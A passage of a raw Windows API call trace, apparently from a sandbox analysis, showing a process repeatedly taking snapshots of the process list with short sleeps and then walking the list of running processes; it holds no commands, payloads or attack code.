th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.055] Sleep (dwMilliseconds=0x64) [0232.070] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.091] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.276] Sleep (dwMilliseconds=0x64) [0232.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.299] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.421] Sleep (dwMilliseconds=0x64) [0232.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.437] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.507] Sleep (dwMilliseconds=0x64) [0232.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.536] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.615] Sleep (dwMilliseconds=0x64) [0232.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.628] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.735] Sleep (dwMilliseconds=0x64) [0232.746] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.763] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.858] Sleep (dwMilliseconds=0x64) [0232.868] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0232.881] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.038] Sleep (dwMilliseconds=0x64) [0233.041] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0233.058] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.179] Sleep (dwMilliseconds=0x64) [0233.182] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0233.196] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.328] Sleep (dwMilliseconds=0x64) [0233.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0233.351] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.427] Sleep (dwMilliseconds=0x64) [0233.428] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0233.484] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.570] Sleep (dwMilliseconds=0x64) [0233.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0233.584] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.758] Sleep (dwMilliseconds=0x64) [0233.797] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae8 [0233.817] Process32First (in: hSnapshot=0x1ae8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.008] Sleep (dwMilliseconds=0x64) [0234.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.098] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.260] Sleep (dwMilliseconds=0x64) [0234.261] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.274] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.376] Sleep (dwMilliseconds=0x64) [0234.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.398] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.533] Sleep (dwMilliseconds=0x64) [0234.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.546] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.643] Sleep (dwMilliseconds=0x64) [0234.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.657] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.782] Sleep (dwMilliseconds=0x64) [0234.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0234.798] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.165] Sleep (dwMilliseconds=0x64) [0235.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0235.192] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.310] Sleep (dwMilliseconds=0x64) [0235.313] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0235.326] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.397] Sleep (dwMilliseconds=0x64) [0235.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x148c [0235.463] Process32First (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.470] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.478] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.485] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.488] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.490] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.493] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.495] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.498] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.501] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.518] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.521] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.524] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.526] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.530] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.532] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.535] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.537] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.542] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.546] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0235.550] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0235.552] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0235.554] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.556] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0235.557] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0235.559] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0235.561] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0235.562] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0235.564] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0235.566] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0235.568] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.571] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.573] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0235.574] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0235.576] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.578] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0235.580] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.582] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0235.583] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0235.585] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0235.587] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0235.589] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0235.590] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0235.592] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0235.625] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0235.627] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0235.629] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0235.631] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0235.633] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0235.635] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0235.636] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0235.637] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0235.639] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0235.641] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, 